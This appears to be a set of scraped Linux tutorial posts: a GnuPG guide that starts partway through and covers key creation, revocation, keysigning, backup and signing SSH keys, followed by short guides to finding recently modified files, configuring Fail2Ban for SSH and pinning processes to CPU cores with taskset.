  • You will be asked for your passphrase twice. Usually, a short sentence or phrase that isn’t easy to guess can be used. You would be asked to tap on the keyboard or do any of the things you normally do in order for randomization to take place. This is done so that the encryption algorithm has more human-entered elements, which, combined with the passphrase entered above, will result in the user’s private key.

Forgetting your passphrase will result in your key being useless.
Carefully memorize your passphrase

  • After you type your passphrase twice, the key will be generated. Please follow the instructions on the screen till you reach a screen similar to the one below.
    gpg: key D8FC66D2 marked as ultimately trusted
    public and secret key created and signed.
    
    pub   1024D/D8FC66D2 2005-09-08
          Key fingerprint = 95BD 8377 2644 DD4F 28B5  2C37 0F6E 4CA6 D8FC 66D2
    uid                  Dennis Kaarsemaker (Tutorial key) <dennis@kaarsemaker.net>
    sub   2048g/389AA63E 2005-09-08

The key-id is D8FC66D2 (yours will be different).

It is probably a good idea to set this key as default in your .bashrc.
Doing this will allow applications using GPG to automatically use your key

  • Set your key as the default key by entering this line in your ~/.bashrc.
    export GPGKEY=D8FC66D2
    • Please note that will be sourced only during your next session, unless you source it manually.
  • Now restart the gpg-agent and source your .bashrc again:
    killall -q gpg-agent
    eval $(gpg-agent --daemon)
    source ~/.bashrc

Encryption

  • If you created an “RSA (sign only)” earlier, you will probably want to add encryption capabilities. Assuming you edited ~/.bashrc as above, open a terminal again and enter:
    gpg --cert-digest-algo=SHA256 --edit-key $GPGKEY
  • This will present a dialog like the following:
    Secret key is available.
    
    pub   2048R/D8FC66D2  created: 2005-09-08  expires: never       usage: SC  
                         trust: ultimate      validity: ultimate
    [ultimate] (1). Dennis Kaarsemaker (Tutorial key) <dennis@kaarsemaker.net>
    
    Command>
  • To create a subkey, enter ‘addkey’. You will have to enter your key’s passphrase, and then you’ll see a somewhat familiar series of dialogues:
    Please select what kind of key you want:
       (2) DSA (sign only)
       (4) Elgamal (encrypt only)
       (5) RSA (sign only)
       (6) RSA (encrypt only)
  • Choose 6.
    What keysize do you want? (2048)
  • Again, 2048 is a sensible default.
    Key is valid for? (0)
  • Choose whether this encryption subkey is set to expire (default: it doesn’t). Then confirm that you want to make this subkey.
    pub   2048R/D8FC66D2  created: 2005-09-08  expires: never       usage: SC  
                         trust: ultimate      validity: ultimate
    sub   2048R/389AA63E created: 2005-09-08  expires: never       usage: E   
    [ultimate] (1). Dennis Kaarsemaker (Tutorial key) <dennis@kaarsemaker.net>
    Command>
  • Enter ‘save’, then ‘quit.’ Your key is now capable of encryption.

Creating a revocation key/certificate

  • A revocation certificate must be generated to revoke your public key if your private key has been compromised in any way.
  • It is recommended to create a revocation certificate when you create your key. Keep your revocation certificate on a medium that you can safely secure, like a thumb drive in a locked box.
  • You can create a revocation certificate by :
    gpg --output revoke.asc --gen-revoke $GPGKEY
  • The revocation key may be printed and/or stored as a file. Take care to safeguard your revocation key.

Anybody having access to your revocation certificate can revoke your key, rendering it useless

Making an ASCII armored version your public key

There are several sites out there that also allow you to paste an ASCII armored version your public key to import it. This method is often preferred, because the key comes directly from the user. The reasoning behind this preference is that a key on a keyserver may be corrupted, or the keyserver unavailable.

  • Create an ASCII armored version of your public key using GnuPG by using this command:
gpg --output mykey.asc --export -a $GPGKEY

This is the command using our example:

gpg --output mykey.asc --export -a D8FC66D2

Getting your key signed

The whole point of all this is to create a web of trust. By signing someone’s public key, you state that you have checked that the person that uses a certain keypair, is who he says he is and really is in control of the private key. This way a complete network of people who trust each other can be created. This network is called the Strongly connected set. Information about it can be found at http://pgp.cs.uu.nl/

In summary,

  1. Locate someone that lives near you and can meet with you to verify your ID.
  2. Arrange for a meeting. Bring at least one ID with photo and printed fingerprint of your OpenPGP key, ask the same from the person you will be meeting with.
  3. Print copies of your public key
    • get the last eight digits of your fingerprint: 0995 ECD6 3843 CBB3 C050 28CA E103 6EED 0123 4567
    • terminal: gpg –fingerprint 01234567 >> key.txt
    • print the resulting key.txt file and bring as many copies to the meeting as you expect to have people sign
  4. Meet, verify your IDs and exchange OpenPGP key fingerprints
  5. Sign the key of the person you’ve just met. Send him/her the key you’ve just signed.
  6. Update your keys on the keyserver, the signature you’ve just created will be uploaded.

Keysigning Guidelines

Since a signature means that you checked and verified that a certain public key belongs to a certain person who is in control of the accompanying private key, you need to follow these guidelines when signing peoples keys:

During the Event

  1. Keysigning is always done after meeting in person
  2. During this meeting you hand each other your OpenPGP key fingerprint and at least one government issued ID with a photograph. These key fingerprints are usually distributed as key fingerprint slips, created by a script such as gpg-key2ps (package: signing-party)
  3. You check whether the name on the key corresponds with the name on the ID and whether the person in front of you is indeed who he says he is.

After the Event

You now have the printed public key information from the other participants.

Example key IDs for the other participants will be E4758D1D, C27659A2, and 09026E7B. Replace these IDs with the key IDs you received from the other participants.

  1. retrieve the keys:
    • gpg –recv-keys E4758D1D C27659A2 09026E7B
  2. sign the keys:
    • gpg –sign-key E4758D1D
    • gpg –sign-key C27659A2
    • gpg –sign-key 09026E7B
  3. export the keys
    • gpg –armor –export E4758D1D –output E4758D1D.signed-by.01234567.asc
    • gpg –armor –export C27659A2 –output C27659A2.signed-by.01234567.asc
    • gpg –armor –export 09026E7B –output 09026E7B.signed-by.01234567.asc
  4. Email the key users (use the email address that was part of the key’s user ID) and attach the corresponding signature file – or – send their signed key to the key server:
    • gpg –send-keys –keyserver keyserver.ubuntu.com E4758D1D
  5. Once you receive your signed key import them to your keyring:
    • gpg –import 01234567.signed-by.E4758D1D.asc
    • gpg –import 01234567.signed-by.C27659A2.asc
    • gpg –import 01234567.signed-by.09026E7B.asc
  6. You should see your keys:
    • gpg –list-sigs 01234567
  7. Send your keys to the keyserver:
    • gpg –send-keys 01234567

Congrats you have now entered a web of trust or enlarged an existing one.

Backing up and restoring your key pair

Why should you back up your key pair? If you lose your key pair:

  • Any files encrypted with the lost key pair will be unrecoverable.
  • You will not be able to decrypt mails sent to you.
    • Decrypting emails sent to you requires your private key, this key is not stored on the keyservers.

If you lose your keypair you should revoke your key. This cannot be done without a revocation key.

Backing up your public key

  • List your public keys:
    gpg --list-keys
  • Look for the line that starts something like “pub 1024D/”. The part after the 1024D is the key_id. To export the key:
    gpg -ao _something_-public.key --export key_id

Backing up your private key

  • List your secret keys:
    gpg --list-secret-keys
  • Look for the line that starts something like “sec 1024D/”. The part after the 1024D is the key_id. To export the secret key:
    gpg -ao _something_-private.key --export-secret-keys key_id

Restoring your keys

  • To restore your keys – copy the two files created above to the machine and type:
    gpg --import _something_-public.key
    gpg --import _something_-private.key

Make sure you protect these files!

Revoking a keypair

In the event your keys are lost or compromised, you should revoke your keypair. This tells other users that your key is no longer reliable.

 For security purposes, there is no mechanism in place to revoke a key without a revocation key. As much as you might want to revoke a key, the revocation key prevents malicious revocations. Guard your revocation key with the same care you would use for your private key.
  • To revoke your key you need to first create a revocation key with the command:
gpg --gen-revoke
  • Import your revocation key, which would be stored to the file revoke.asc by default:
gpg --import revoke.asc
  • Upload the revocation key to your keyserver of choice, in the following example the key will be send to ubuntus keyserver:
gpg --keyserver keyserver.ubuntu.com --send-key 6382285E

Un-revoking a keypair

If you unintentionally revoke a key, or find that your key has in fact not been lost or compromised, it is possible to un-revoke your key. First and foremost, ensure that you do not distribute the key, or send it to the keyserver.

  • Export the key
gpg --export <key> > key.gpg
  • Split the key into multiple parts. This breaks the key down into multiple parts.
gpgsplit key.gpg
  • Find which file contains the revocation key. In most cases, it is 000002-002.sig, however you should make sure by using the following. If the sigclass is 0x20, you have the right file. Delete it.
gpg --list-packets 000002-002.sig
  • Put the key back together
cat 0000* > fixedkey.gpg
  • Remove the old key
gpg --expert --delete-key <key>
  • Import the new key
gpg --import fixedkey.gpg

GPG 2.0

GPG 2.0 is not installed as a default application on Ubuntu.

GPG 2.0 is the new kid on the block. GPG 2.0 is aimed or done for the desktops rather than embedded or server applications.

  • GnuPG2 is available in the “Main” repository since Intrepid, or in the “Universe” repository in earlier releases.
    • If you want to use gnupg2 with the firegpg firefox extension, you need to install gnupg2 first.
  • More information of GnuPG2 can be found here
  • If you are going to use gpg2 for the same purposes as outlined above then you just need to add 2 to the gpg command.
    gpg2 --gen-key

Using GPG To Sign SSH Keys

Often to access a remote server by SSH the administrator of the server will ask for your public ssh_rsa key so that he knows it is really your computer that is trying to access his server. The administrator may ask you to first sign the ssh_rsa key using GPG so that he knows the ssh_rsa key comes from you and has not been intercepted. This guide will show you how to generate your SSH and GPG keys and then how to use them to perform a secure transaction between two parties.

Ubuntu Releases

This guide should work on any Gnu/Linux operating system. This guide assumes you have already installed openssh-client and gnupg.

Generate The SSH RSA Keys

Run all commands as a regular user.

# ssh-keygen -t rsa

This will create your public and private SSH-RSA keys. The public key that the administraitor needs should be located here: ~/.ssh/id_rsa.pub.

Generate The GPG Keys

This is the output from generating a new key.

# gpg --cert-digest-algo SHA256 --default-preference-list "h10 h8 h9 h11 s9 s8 s7 s3 z2 z3 z1 z0" --gen-key
gpg (GnuPG) 1.4.6; Copyright (C) 2006 Free Software Foundation, Inc.
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions. See the file COPYING for details.

Please select what kind of key you want:
   (1) DSA and Elgamal (default)
   (2) DSA (sign only)
   (5) RSA (sign only)
Your selection? 5
RSA keys may be between 1024 and 4096 bits long.
What keysize do you want? (2048)
Requested keysize is 2048 bits
Please specify how long the key should be valid.
         0 = key does not expire
      <n>  = key expires in n days
      <n>w = key expires in n weeks
      <n>m = key expires in n months
      <n>y = key expires in n years
Key is valid for? (0)
Key does not expire at all
Is this correct (y/n)? y

You need a user ID to identify your key; the software constructs the user ID
from the Real Name, Comment and Email Address in this form:
    "Heinrich Heine (Der Dichter) <heinrichh@duesseldorf.de>"

Real name: mr bo jangles
Email address: bo@jangles.com
Comment: comment
You selected this USER-ID:
   "mr bo jangles (comment) <bo@jangles.com>"

Change (N)ame, (C)omment, (E)mail or (O)kay/(Q)uit? O
You need a Passphrase to protect your secret key.

#-> passphrase:

We need to generate a lot of random bytes. It is a good idea to perform
some other action (type on the keyboard, move the mouse, utilize the
disks) during the prime generation; this gives the random number
generator a better chance to gain enough entropy.
+++++.+++++++++++++++.+++++++++++++++.+++++.++++++++
We need to generate a lot of random bytes. It is a good idea to perform
some other action (type on the keyboard, move the mouse, utilize the
disks) during the prime generation; this gives the random number
generator a better chance to gain enough entropy.
+++++++++++++++++++++++++.++++++++++..+++++++++++++
public and secret key created and signed.
key marked as ultimately trusted.

pub  2048R/5F6D1662 2009-05-10 mr bo jangles (comment) <bo@jangles.com>
    Key fingerprint = D1BC 6822 0ACB 0025 8902  6DE7 87EA 4324 5F6D 1662

Your public and private GPG keys should now be located in your ~/.gnupg directory.

Put your private key on a cd-rom or a floppy disc or somewhere very safe. Do not lose it or you will be unable to sign any documents. Never give it to anyone under any circumstances. If you have given anyone your private key then you must revoke the key immediately and generate a new set.

Exchange Public Keys

It is good practice to put your public GPG key on a public key server where others can access it easily. Biglumber.com is a public key server. In order to put your public key on Biglumber you will first need to go though a verification process.

Go to Biglumber.com and put your public key on their server.

While you are at Biglumber you will need to find the public key of the administrator to whom you are planning to send your digitally signed and encrypted message. Once you have done that, you must then import the pubic key of that administrators into your keyring.

# gpg --import Administrator.pub

Now get the Administrator’s key ID, and your key ID as well:

# gpg --list-keys
pub  1024D/ABCABCAB 2005-03-26 Administrator_Email <admin@secure.ca>
pub  2048R/XYZXYZXY 2009-05-10 Your_Email_Address <user@user.ca>

Aministrator ID: ABCABCAB

Your ID: XYZXYZXY

Make a Secure Transaction

GPG will use your secret key (~/.gnupg/secring.gpg) to sign and encrypt your public ssh key (~/.ssh/id_rsa.pub).

Only the administrator will be able to decrypt the file because you are also using his public key to encrypt it.

In turn, he will only be able to decrypt it if he has your public key on his key ring.

Sign the key:

# gpg -u XYZXYZXY -r ABCABCAB --armor --sign --encrypt ~/.ssh/id_rsa.pub

Send the result (id_rsa.pub.gpg) to the administrator along with a link to where you keep your public key on Biglumber. He will verify the your information and then allow you to access his system by SSH.

In an ideal world you are only supposed to exchange public keys directly and in person. This way you know 100% that the public key truly belongs to the correct person.

How to find recently modified files on Linux


How to find recently modified files on Linux

There are various occasions where you would like to search for files that have been changed/created in your Linux system recently or within any time frame. For example, as a system admin, you have done some configuration on your Linux system, but forgot where it was saved. You want to verify whether/how your Linux file system has been tampered with by someone recently. If you would like to find recently updated files on Linux, you can use find command as follows.

To find the most recently modified files, sorted in the reverse order of update time (i.e., the most recently updated files first):

$ find /etc -type f -printf '%TY-%Tm-%Td %TT %p\n' | sort -r

2012-09-14 22:25:14.0000000000 /etc/shadow
2012-08-17 00:56:36.0000000000 /etc/resolv.conf
2012-08-16 23:22:57.0000000000 /etc/ld.so.cache
2012-08-16 23:22:29.0000000000 /etc/mtab
2012-08-16 23:22:04.0000000000 /etc/network/run/ifstate
2012-07-10 01:19:24.0000000000 /etc/papersize
...

The above command sorts files in /etc (and all its subdirectories), in the reverse order of their update time, and prints out the sorted list, along with their location and update time. If you want to examine directories as well, you can omit “-type f” option in the command.

To search for files in /target_directory and all its sub-directories, that have been modified in the last 60 minutes:

$ find /target_directory -type f -mmin -60

To search for files in /target_directory and all its sub-directories, that have been modified in the last 2 days:

$ find /target_directory -type f -mtime -2

To search for files in /target_directory and all its sub-directories no more than 3 levels deep, that have been modified in the last 2 days:

$ find /target_directory -type f -mtime -2 -depth -3

You can also specify the range of update time. To search for files in /target_directory and all its sub-directories, that have been modified in the last 7 days, but not in the last 3 days:

$ find /target_directory -type f -mtime -7 ! -mtime -3

All these commands so far only print out the locations of files that are matched. You can also get detailed file attributes of recently modified files, using “-exec” option as follows.

To search for files in /target_directory (and all its sub-directories) that have been modified in the last 60 minutes, and print out their file attributes:

$ find /target_directory -type f -mmin -60 -exec ls -al {} \;

Alternatively, you can use xargs command to achieve the same thing:

$ find /target_directory -type f -mmin -60 | xargs ls -l

Note that files that have been “created” within the specified time frame will also matched by these commands.

Setup and Configure Fail2Ban on Linux


Fail2Ban

An intrusion prevention framework written in the Python programming language. It is very successful in reducing  dictionary attacks. Because we limit the number of tries to access to the specific service that we want to enable. In this example we are going to show with sshd service only. The standard configuration ships with filters for sshd, Apache, Lighttpd, vsftpd, qmail, Postfix and Courier Mail Server.

Log-in as root user and enter the following command to begin install.

apt-get install fail2ban

Configurations

Copy a config file in /etc/fail 2ban/ of file “jail.conf” to “jail.local”

cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.local

Edit file jail.local

vi /etc/fail 2ban/jail.local

With content,

# "ignoreip" can be an IP address, a CIDR mask or a DNS host
 ignoreip = 127.0.0.1/8
 bantime = 3600
 maxretry = 3

Email Notifications

Find the line that says destmail and add your email address.

destemail = ken.vannakk@gmail.com

Chose default actions

Find line,

action = %(action_)s

And change it to:

action = %(action_mw)s

Email Actions, In this case we use sendmail.

 # email action. Since 0.8.1 upstream uses sendmail
 # MTA for the mailing. Change mta configuration parameter to mail
 # if you want to revert to conventional 'mail'.
 mta = sendmail

Enable SSH

Find the ssh section in the same file, and adjust to your need:

[ssh]
 enabled = true
port = ssh
filter = sshd
logpath = /var/log/auth.log
maxretry = 3

Once done, restart to apply these settings.

service fail2ban restart

Let’s try to access via SSH to this server with the incorrect information for 3 times. We will get one email and can not ssh to that server for 1 hour with the user we tried.

Check and Watch Process and Cores on Linux


Process and Cores

How to run program or process on specific CPU core on Linux

As multi-core CPUs become increasingly popular on server-grade hardware as well as end-user desktop PCs or laptops, there have been growing efforts in the community (e.g., in terms of programming models, compiler or operating system support) towards developing applications optimized for multi-core architecture.

One operating system (OS) support often exploited to run performance-critical applications on multi-core processors is so-called “processor affinity” or “CPU pinning”. This is an OS-specific feature that “binds” a running process or program to particular CPU core(s).

Binding a program to specific CPU cores can be beneficial in several scenarios. For example, when an application with highly cache-bound workload runs together with other CPU-intensive jobs, pinning the application to a specific CPU would reduce CPU cache misses. Also, when two processes communicate via shared memory intensively, scheduling both processes on the cores in the same NUMA domain would speed up their performance.

In this tutorial, we will describe how to run a program or process on specific CPU cores on Linux.

To assign particular CPU cores to a program or process, you can use taskset, a command line tool for retrieving or setting a process’ CPU affinity on Linux.

Install taskset on Linux

The taskset tool is part of “util-linux” package in Linux, and most Linux distros come with the package pre-installed by default. If taskset is not available on your Linux system, install it as follows.

To install taskset on Debian, Ubuntu or Linux Mint:

$ sudo apt-get install util-linux

View the CPU Affinity of a Running Process

To retrieve the CPU affinity information of a process, use the following format. taskset returns the current CPU affinity in a hexadecimal bitmask format.

taskset -p <PID>

For example, to check the CPU affinity of a process with PID 2915:

$ taskset -p 2915
pid 2915's current affinity mask: ff

In this example, the returned affinity (represented in a hexadecimal bitmask) corresponds to “11111111” in binary format, which means the process can run on any of eight different CPU cores (from 0 to 7).

The lowest bit in a hexadecimal bitmask corresponds to core ID 0, the second lowest bit from the right to core ID 1, the third lowest bit to core ID 2, etc. So for example, a CPU affinity “0x11″ represents CPU core 0 and 4.

taskset can show CPU affinity as a list of processors instead of a bitmask, which is easier to read. To use this format, run taskset with “-c” option. For example:

$ taskset -cp 2915
pid 2915's current affinity list: 0-7

Pin a Running Process to Particular CPU Core(s)

Using taskset, you can “pin” (or assign) a running process to particular CPU core(s). For that, use the following format.

$ taskset -p <COREMASK> <PID>
$ taskset -cp <CORE-LIST> <PID>

For example, to assign a process to CPU core 0 and 4, do the following.

$ taskset -p 0x11 9030
pid 9030's current affinity mask: ff
pid 9030's new affinity mask: 11

Or equivalently:

$ taskset -cp 0,4 9030

With “-c” option, you can specify a list of numeric CPU core IDs separated by commas, or even include ranges (e.g., 0,2,5,6-10).

Note that in order to be able to change the CPU affinity of a process, a user must have CAP_SYS_NICE capability. Any user can view the affinity mask of a process.

Launch a Program on Specific CPU Cores

taskset also allows you to launch a new program as pinned to specific CPU cores. For that, use the following format.

taskset <COREMASK> <EXECUTABLE>

For example, to launch vlc program on a CPU core 0, use the following command.

$ taskset 0x1 vlc

Dedicate a Whole CPU Core to a Particular Program

While taskset allows a particular program to be assigned to certain CPUs, that does not mean that no other programs or processes will be scheduled on those CPUs. If you want to prevent this and dedicate a whole CPU core to a particular program, you can use “isolcpus” kernel parameter, which allows you to reserve the CPU core during boot.

Add the kernel parameter “isolcpus=<CPU_ID>” to the boot loader during boot or GRUB configuration file. Then the Linux scheduler will not schedule any regular process on the reserved CPU core(s), unless specifically requested with taskset. For example, to reserve CPU cores 0 and 1, add “isolcpus=0,1″ kernel parameter. Upon boot, then use taskset to safely assign the reserved CPU cores to your program.